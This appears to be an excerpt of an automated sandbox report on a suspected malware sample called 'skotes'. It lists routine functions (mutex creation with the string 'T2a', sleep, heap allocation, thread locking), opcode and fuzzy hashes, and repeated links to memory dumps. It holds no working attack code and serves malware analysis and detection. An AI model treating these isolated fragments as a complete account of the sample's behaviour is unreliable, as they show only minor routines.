Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: 2754f17e3677575115dc2a0d9b6f64185037e1d61d7fb1806793bc50a41e4d72
Instruction ID: 4fa451dd48b6b922b77d136f26ba2760afbb97b364145d0c1a341e44d455f90d
Opcode Fuzzy Hash: 2754f17e3677575115dc2a0d9b6f64185037e1d61d7fb1806793bc50a41e4d72
Instruction Fuzzy Hash: F0212B713442029EF7286768D89E7EEBF52FFD1300F240816F048D76D2CA7669818253

Function 005BA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005BA963
CreateMutexA.KERNELBASE(00000000,00000000,00613254), ref: 005BA981

Strings

T2a, xrefs: 005BA970

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2a
API String ID: 1464230837-1127307969
Opcode ID: a13bdec2a237e4aaaf552826113724be299bedbf6944df2f8b8deecd993ca323
Instruction ID: 7f88231e1feaf73a5a458bb22da62f5fa50d531c0b1e4050d745b36a5e494757
Opcode Fuzzy Hash: a13bdec2a237e4aaaf552826113724be299bedbf6944df2f8b8deecd993ca323
Instruction Fuzzy Hash: A0213A717042019BEB189B68EC8DBEDBFA2FBE1310F244619E418D77D5C7766A808352

Function 005ED82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,005EA813,00000001,00000364,00000006,000000FF,?,005EEE3F,?,00000004,00000000,?,?), ref: 005ED871

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0f51b6e8b1968a1eddb7dcfaff4e198aa02a6ff84865cbe701ab8fc859092b84
Instruction ID: ec83c4f17fa59255879008b3296ddfd78e0758a802ca07c77407187504b1293a
Opcode Fuzzy Hash: 0f51b6e8b1968a1eddb7dcfaff4e198aa02a6ff84865cbe701ab8fc859092b84
Instruction Fuzzy Hash: 2DF0E9326091B566EB2D2A739C05A6B3F79FF85370B188422FCD8E7181DA31EC0081F0

Non-executed Functions

Function 005B2EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 005B2F5F
GetCurrentThreadId.KERNEL32 ref: 005B2F7E
__Mtx_unlock.LIBCPMT ref: 005B2FCC
__Cnd_broadcast.LIBCPMT ref: 005B2FE3
__Mtx_unlock.LIBCPMT ref: 005B30F5
GetCurrentThreadId.KERNEL32 ref: 005B3132
__Mtx_unlock.LIBCPMT ref: 005B319B

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 220b8d02dc6ec4516b847fe0075f2424419de509d62a659bc86d52a9a3aea1ea
Instruction ID: cb94483cd043f5c106f9a6c34fad1abe55ddc27efbb9a4d99c73b2939b7ef3c6
Opcode Fuzzy Hash: 220b8d02dc6ec4516b847fe0075f2424419de509d62a659bc86d52a9a3aea1ea
Instruction Fuzzy Hash: 33A1E57090121A9FDB10DFA8C949BAABFB8FF55314F04852DE819E7241EB35EA44CBD1

Function 005ECBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 005ECC66

Strings

v^, xrefs: 005ECBE1

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549404620.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549425917.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549445919.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549475434.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549497653.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549519069.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549540897.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549562525.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549587631.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549616555.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549639104.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549661813.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549688423.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549713922.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549737388.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549761848.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549786384.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549810131.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549837119.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549860813.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549880822.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549903616.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549927446.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549951485.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549978351.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549999664.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550021563.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550045581.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550068925.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550095436.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550118605.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550146387.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550169664.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550250813.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550357935.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550467220.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550496328.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550519266.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550544783.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550566591.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2550588653.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: v^
API String ID: 3213747228-294073887
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 4a9ba5dda3588c137163d1b140de9951b50ee777333873c90321157721631511
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 67B105329046D69FDB19CF2AC8417BEBFA5FF45340F2441AAE895DB242D635DD02CB50

Function 005CBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 005CBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 005CBBE4
_xtime_get.LIBCPMT ref: 005CBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 005CBC13

Memory Dump Source

Source File: 00000003.00000002.2548973005.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000003.00000002.2548949921.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2548973005.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549047001.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549067532.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549091553.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549215421.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549234113.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2549380104.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
